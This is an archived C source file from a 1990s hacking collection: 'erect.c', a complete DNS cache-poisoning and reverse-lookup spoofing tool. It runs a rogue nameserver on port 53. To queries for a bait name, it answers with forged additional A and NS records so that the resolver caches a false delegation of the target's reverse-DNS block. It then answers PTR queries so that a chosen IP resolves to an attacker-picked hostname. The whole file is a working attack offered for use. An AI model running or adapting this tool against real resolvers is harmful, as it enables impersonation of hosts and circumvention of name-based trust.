home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / erect.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  12.7 KB  |  540 lines
  1. /* #dioxide 1997 */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <strings.h>
  7. #include <errno.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11.  
  12. #define VERSION        "Erect by Dioxide '97"
  13.  
  14. #define MAXBUFSIZE              64*1024
  15. #define DC_A            1
  16. #define DC_NS           2
  17. #define DC_CNAME        5
  18. #define DC_SOA          6
  19. #define DC_WKS          11
  20. #define DC_PTR          12
  21. #define DC_HINFO        13
  22. #define DC_MINFO        14
  23. #define DC_MX           15
  24. #define DC_TXT          16
  25.  
  26. typedef struct {
  27.   unsigned short id;
  28.  
  29.   unsigned char  rd:1;           /* recursion desired */
  30.   unsigned char  tc:1;           /* truncated message */
  31.   unsigned char  aa:1;           /* authoritive answer */
  32.   unsigned char  opcode:4;       /* purpose of message */
  33.   unsigned char  qr:1;           /* response flag */
  34.  
  35.   unsigned char  rcode:4;        /* response code */
  36.   unsigned char  unused:2;       /* unused bits */
  37.   unsigned char  pr:1;           /* primary server required (non standard) */
  38.   unsigned char  ra:1;           /* recursion available */
  39.  
  40.   unsigned short qdcount;
  41.   unsigned short ancount;
  42.   unsigned short nscount;
  43.   unsigned short arcount;
  44. } dnsheaderrec;
  45.  
  46. typedef struct {
  47.   unsigned short labellen;
  48.   char label[256];
  49.   unsigned short type;
  50.   unsigned short class;
  51.   unsigned long ttl;
  52.   unsigned short buflen;
  53.   char buf[256];
  54. } dnsrrrec;
  55.  
  56. typedef struct {
  57.   dnsheaderrec h;
  58.  
  59.   dnsrrrec qd[20];
  60.   dnsrrrec an[20];
  61.   dnsrrrec ns[20];
  62.   dnsrrrec ar[20];
  63. } dnsrec;
  64.  
  65. char *dnssprintflabel(char *s, char *buf, char *p);
  66. char *dnsaddlabel(char *p, char *label);
  67. void dnstxt2rr(dnsrrrec *rr, char *b);
  68. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
  69. char *dnsaddbuf(char *p, void *buf, short len);
  70. int dnsmakerawpacket(dnsrec *dns, char *buf);
  71. char *ip_to_arpa(char *ip);
  72. char *arparize(char *ip);
  73. char *get_token(char **src, char *token_sep);
  74.  
  75. char *dnssprintflabel(char *s, char *buf, char *p)
  76. {
  77.   unsigned short i,len;
  78.   char *b=NULL;
  79.  
  80.   len=(unsigned short)*(p++);
  81.   while (len) {
  82.     while (len >= 0xC0) {
  83.       if (!b)
  84.         b=p+1;
  85.       p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  86.       len=(unsigned short)*(p++);
  87.     }
  88.  
  89.     for (i=0;i<len;i++)
  90.       *(s++)=*(p++);
  91.  
  92.     *(s++)='.';
  93.  
  94.     len=(unsigned short)*(p++);
  95.   }
  96.  
  97.   *(s++)=0;
  98.   if (b)
  99.     return(b);
  100.  
  101.   return(p);
  102. }
  103.  
  104. char *dnsaddlabel(char *p, char *label)
  105. {
  106.   char *p1;
  107.  
  108.   while ((*label) && (label)) {
  109.     if ((*label == '.') && (!*(label+1)))
  110.       break;
  111.  
  112.     p1=strchr(label,'.');
  113.  
  114.     if (!p1)
  115.       p1=strchr(label,0);
  116.  
  117.     *(p++)=p1-label;
  118.     memcpy(p,label,p1-label);
  119.     p+=p1-label;
  120.  
  121.     label=p1;
  122.     if (*p1)
  123.       label++;
  124.   }
  125.   *(p++)=0;
  126.  
  127.   return(p);
  128. }
  129.  
  130. #define DEFAULTTTL 60*10
  131.  
  132. void dnstxt2rr(dnsrrrec *rr, char *b)
  133. {
  134.   char *tok[20], *p;
  135.   unsigned short numt=0, i;
  136.   static char *buf=NULL;
  137.  
  138.   if (!buf) {
  139.     if ((buf=malloc(1024)) == NULL) {
  140.       perror("malloc");
  141.       exit(-1);
  142.     }
  143.   }
  144.  
  145.   strcpy(buf,b);
  146.   p=strtok(buf," \t");
  147.   do {
  148.     tok[numt++]=p;
  149.   } while (p=strtok(NULL," \t"));
  150.  
  151.   p=dnsaddlabel(rr->label,tok[0]);
  152.   rr->labellen=p-rr->label;
  153.  
  154.   i=1;
  155.  
  156.   if (isdigit(*p))
  157.     rr->ttl=htonl(atol(tok[i++]));
  158.    else
  159.     rr->ttl=htonl(DEFAULTTTL);
  160.  
  161.   if (strcmp(tok[i],"IN") == 0)
  162.     i++;
  163.  
  164.   rr->class=htons(1);
  165.  
  166.   if (strcmp(tok[i],"A") == 0) {
  167.     i++;
  168.     rr->type=htons(DC_A);
  169.     if (i < numt) {
  170.       inet_aton(tok[i],rr->buf);
  171.       rr->buflen=4;
  172.     } else
  173.       rr->buflen=0;
  174.     return;
  175.   }
  176.  
  177.   if (strcmp(tok[i],"CNAME") == 0) {
  178.     i++;
  179.     rr->type=htons(DC_CNAME);
  180.     if (i < numt) {
  181.       p=dnsaddlabel(rr->buf,tok[i]);
  182.       rr->buflen=p-rr->buf;
  183.     } else
  184.       rr->buflen=0;
  185.     return;
  186.   }
  187.  
  188.   if (strcmp(tok[i],"NS") == 0) {
  189.     i++;
  190.     rr->type=htons(DC_NS);
  191.     if (i < numt) {
  192.       p=dnsaddlabel(rr->buf,tok[i]);
  193.       rr->buflen=p-rr->buf;
  194.     } else
  195.       rr->buflen=0;
  196.     return;
  197.   }
  198.  
  199.   if (strcmp(tok[i],"PTR") == 0) {
  200.     i++;
  201.     rr->type=htons(DC_PTR);
  202.     if (i < numt) {
  203.       p=dnsaddlabel(rr->buf,tok[i]);
  204.       rr->buflen=p-rr->buf;
  205.     } else
  206.       rr->buflen=0;
  207.     return;
  208.   }
  209.  
  210.   if (strcmp(tok[i],"MX") == 0) {
  211.     i++;
  212.     rr->type=htons(DC_MX);
  213.     if (i < numt) {
  214.       p=rr->buf;
  215.       *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
  216.       p=dnsaddlabel(p,tok[i]);
  217.       rr->buflen=p-rr->buf;
  218.     } else
  219.       rr->buflen=0;
  220.     return;
  221.   }
  222. }
  223.  
  224. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
  225. {
  226.   int i;
  227.   va_list va;
  228.  
  229.   dns->h.qdcount=htons(qdcount);
  230.   dns->h.ancount=htons(ancount);
  231.   dns->h.nscount=htons(nscount);
  232.   dns->h.arcount=htons(arcount);
  233.   dns->h.rcode=0;
  234.  
  235.   va_start(va, arcount);
  236.  
  237.   for (i=0;i<qdcount;i++)
  238.     dnstxt2rr(&dns->qd[i],va_arg(va, char *));
  239.  
  240.   for (i=0;i<ancount;i++)
  241.     dnstxt2rr(&dns->an[i],va_arg(va, char *));
  242.  
  243.   for (i=0;i<nscount;i++)
  244.     dnstxt2rr(&dns->ns[i],va_arg(va, char *));
  245.  
  246.   for (i=0;i<arcount;i++)
  247.     dnstxt2rr(&dns->ar[i],va_arg(va, char *));
  248.  
  249.  
  250.   va_end(va);
  251. }
  252.  
  253. char *dnsaddbuf(char *p, void *buf, short len)
  254. {
  255.   memcpy(p,buf,len);
  256.   return(p+len);
  257. }
  258.  
  259. int dnsmakerawpacket(dnsrec *dns, char *buf)
  260. {
  261.   char *p;
  262.   int i;
  263.   unsigned short len;
  264.  
  265.   memcpy(buf,&dns->h,sizeof(dnsheaderrec));
  266.  
  267.   p=buf+sizeof(dnsheaderrec);
  268.  
  269.   /********** Query ***********/
  270.   for (i=0;i<ntohs(dns->h.qdcount);i++) {
  271.     p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
  272.     p=dnsaddbuf(p,&dns->qd[i].type,2);
  273.     p=dnsaddbuf(p,&dns->qd[i].class,2);
  274.   }
  275.  
  276.   /********** Answer ***********/
  277.   for (i=0;i<ntohs(dns->h.ancount);i++) {
  278.     p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
  279.     p=dnsaddbuf(p,&dns->an[i].type,2);
  280.     p=dnsaddbuf(p,&dns->an[i].class,2);
  281.     p=dnsaddbuf(p,&dns->an[i].ttl,4);
  282.     len=htons(dns->an[i].buflen);
  283.     p=dnsaddbuf(p,&len,2);
  284.     p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  285.   }
  286.  
  287.   /********** Nameservers ************/
  288.   for (i=0;i<ntohs(dns->h.nscount);i++) {
  289.     p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
  290.     p=dnsaddbuf(p,&dns->ns[i].type,2);
  291.     p=dnsaddbuf(p,&dns->ns[i].class,2);
  292.     p=dnsaddbuf(p,&dns->ns[i].ttl,4);
  293.     len=htons(dns->ns[i].buflen);
  294.     p=dnsaddbuf(p,&len,2);
  295.     p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  296.   }
  297.  
  298.   /********** Additional ************/
  299.   for (i=0;i<ntohs(dns->h.arcount);i++) {
  300.     p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
  301.     p=dnsaddbuf(p,&dns->ar[i].type,2);
  302.     p=dnsaddbuf(p,&dns->ar[i].class,2);
  303.     p=dnsaddbuf(p,&dns->ar[i].ttl,4);
  304.     len=htons(dns->ar[i].buflen);
  305.     p=dnsaddbuf(p,&len,2);
  306.     p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  307.   }
  308.  
  309.   return(p-buf);
  310. }
  311.  
  312.  
  313. char *get_token(src, token_sep)
  314. char **src;
  315. char *token_sep;
  316. {
  317.     char    *tok;
  318.     if (!(src && *src && **src))
  319.         return NULL;
  320.     while(**src && strchr(token_sep, **src))
  321.         (*src)++;
  322.     if(**src)
  323.         tok = *src;
  324.     else
  325.         return NULL;
  326.     *src = strpbrk(*src, token_sep);
  327.     if (*src)
  328.     {
  329.         **src = '\0';
  330.         (*src)++;
  331.         while(**src && strchr(token_sep, **src))
  332.             (*src)++;
  333.     }
  334.     else
  335.         *src = "";
  336.     return tok;
  337. }
  338.  
  339. char *ip_to_arpa(char *ip)
  340. {
  341.     char *arpablock, *bit_a, *bit_b, *bit_c;
  342.     char *oomf;
  343.  
  344.     arpablock = NULL;
  345.     arpablock = (char *)malloc(64);
  346.     oomf = (char *)malloc(64);
  347.  
  348.     strcpy(oomf, ip);
  349.  
  350.     bit_a = get_token(&oomf, ".");
  351.     bit_b = get_token(&oomf, ".");
  352.     bit_c = get_token(&oomf, ".");
  353.     
  354.     sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
  355.  
  356.     return arpablock;
  357.  
  358. }
  359. char *arparize(char *ip)
  360. {
  361.     char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
  362.     char *oomf;
  363.  
  364.     arpa = NULL;
  365.     arpa = (char *)malloc(64);
  366.     oomf = (char *)malloc(64);
  367.  
  368.     strcpy(oomf, ip);
  369.  
  370.     bit_a = get_token(&oomf, ".");
  371.     bit_b = get_token(&oomf, ".");
  372.     bit_c = get_token(&oomf, ".");
  373.     bit_d = oomf;
  374.     
  375.     sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
  376.  
  377.     return arpa;
  378.  
  379. }
  380.  
  381.  
  382. void main(int argc, char *argv[])
  383. {
  384.   int sock, fromlen, numread, len, query;
  385.   struct sockaddr_in sa, from, to;
  386.   char *buf, *sendbuf;
  387.   char *domainnamebuf;
  388.   dnsheaderrec *dns;
  389.   char *p;
  390.   dnsrec dnsh;
  391.   char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
  392.   char *kludgeaddname, *kludgetargetblock;
  393.   char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
  394.   char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;
  395.  
  396.   if (argc < 6)
  397.   {
  398.     printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
  399.     printf("  lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
  400.     printf("  fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
  401.     printf("  fakensip   : EG 205.164.89.1, IP of server to answer fake PTR's\n");
  402.     printf("  targetip   : EG 200.3.4.10, IP of machine you want to spoof from\n");
  403.     printf("  spoofname  : EG bollox.org, name you want targetip to resolve as\n");
  404.     exit(-1);
  405.   }
  406.   addname = argv[1];
  407.   fakens = argv[2];
  408.   fakensip = argv[3];
  409.   targetip = argv[4];
  410.   spoofname = argv[5];
  411.   targetblock = (char *)malloc(64);
  412.   targetblock = ip_to_arpa(targetip);
  413.   kludgetargetblock = (char *)malloc(64);
  414.   strcpy(kludgetargetblock, targetblock);
  415.   strcat(kludgetargetblock, ".");
  416.   kludgeaddname = (char *)malloc(64);
  417.   strcpy(kludgeaddname, addname);
  418.   strcat(kludgeaddname, ".");
  419.   arpatargetip = (char *)malloc(256);
  420.   arpatargetip = arparize(targetip);
  421.   klarpatargetip = (char *)malloc(64);
  422.   strcpy(klarpatargetip, arpatargetip);
  423.   strcat(klarpatargetip, ".");
  424.  
  425.   cache_line_1 = (char *)malloc(256);
  426.   cache_line_2_1 = (char *)malloc(256);
  427.   cache_line_2_2 = (char *)malloc(256);
  428.   cache_line_3 = (char *)malloc(256);
  429.   cache_line_4 = (char *)malloc(256);
  430.   ptr_line_1 = (char *)malloc(256);
  431.   ptr_line_2 = (char *)malloc(256);
  432.   sprintf(cache_line_1, "%s IN A", addname);
  433.   sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
  434.   sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
  435.   sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
  436.   sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
  437.  
  438.   sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
  439.   sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
  440.  
  441.   printf("%s now running!\n", VERSION);
  442.   printf("  lookupname : %s\n", addname);
  443.   printf("  fakenshost : %s\n", fakens);
  444.   printf("  fakensip   : %s\n", fakensip);
  445.   printf("  targetip   : %s\n", targetip);
  446.   printf("  spoofname  : %s\n\n", spoofname);
  447.   printf("  TARGETARPA : %s\n", arpatargetip);
  448.   printf("Waiting for connect...\n");
  449.  
  450.  
  451.   if ((buf = malloc(MAXBUFSIZE)) == NULL) {
  452.     perror("malloc");
  453.     exit(-1);
  454.   }
  455.  
  456.   if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
  457.     perror("malloc");
  458.     exit(-1);
  459.   }
  460.  
  461.   if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
  462.     perror("malloc");
  463.     exit(-1);
  464.   }
  465.  
  466.   if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
  467.     perror("socket");
  468.     exit(-1);
  469.   }
  470.  
  471.   sa.sin_family = AF_INET;
  472. /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  473.   sa.sin_addr.s_addr = INADDR_ANY;
  474.   sa.sin_port = htons(53);
  475.   
  476.   if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
  477.     perror("bind");
  478.     exit(-1);
  479.   }
  480.  
  481.   setvbuf(stdout,NULL,_IONBF,0);
  482.  
  483.   while (1) {
  484.     fromlen=sizeof(from);
  485.     if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
  486.       perror("recvfrom");
  487.       continue;
  488.     }
  489.  
  490.     /* Kludge to stop that damn router */
  491.     /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
  492.       continue;*/
  493.  
  494.     dns=(dnsheaderrec *)buf;
  495.  
  496.     if (dns->qr)
  497.       continue;
  498.  
  499.     p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
  500.     query=ntohs(*(unsigned short *)p);
  501.     printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
  502.  
  503.     if (strcasecmp(domainnamebuf,kludgeaddname) == 0) {
  504.               dnsbuildpacket(&dnsh,1,2,1,1,
  505.             cache_line_1,
  506.             cache_line_2_1,
  507.             cache_line_2_2,
  508.             cache_line_3,
  509.             cache_line_4);
  510.  
  511.     } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) {
  512.          dnsbuildpacket(&dnsh,1,1,0,0,
  513.         ptr_line_1,
  514.         ptr_line_2);
  515.         } else {
  516.           /* Error */
  517.           dnsh.h.rcode=5;
  518.           strcat(domainnamebuf," IN A");
  519.           dnsbuildpacket(&dnsh,1,0,0,0,
  520.         domainnamebuf);
  521.         }
  522.     dnsh.qd[0].type=htons(query);
  523.  
  524.     dnsh.h.id=((dnsheaderrec *)buf)->id;
  525.     dnsh.h.qr=1;
  526.     dnsh.h.aa=1;
  527.     
  528.     len=dnsmakerawpacket(&dnsh,sendbuf);
  529.  
  530.     to.sin_family=AF_INET;
  531.     to.sin_addr.s_addr=from.sin_addr.s_addr;
  532.     to.sin_port=from.sin_port;
  533.  
  534.     if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
  535.       perror("sendto");
  536.       continue;
  537.     }
  538.   }
  539. }
  540.